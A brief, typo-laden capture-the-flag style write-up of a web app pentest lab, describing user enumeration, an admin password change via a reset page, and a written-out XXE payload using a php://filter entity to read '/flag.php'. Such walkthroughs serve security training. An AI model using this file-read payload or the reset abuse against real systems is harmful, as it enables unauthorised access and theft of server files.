Performing a web app pentest for sof comanpym and task y iwth testing the lastest of their social network web app.
Sign in to like and favorite skills
Performing a web app pentest for sof comanpym and task y iwth testing the lastest of their social network web app. Try to escalate your privileges and exploit different vulnerabilities to read the flag at '/flag.php'.
Then we cam enumerate the users and find de admin user for login. We can chage the password in the dir /reset.php.
Now we can access to the admin user ---> PWD
4.Exploit with php filetering
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE email [ <!ENTITY Test SYSTEM "php://filter/convert.base64-encode/resource=/flag.php">]> <root> <name>&Test;</name> <details>test</details> <date></date> </root>
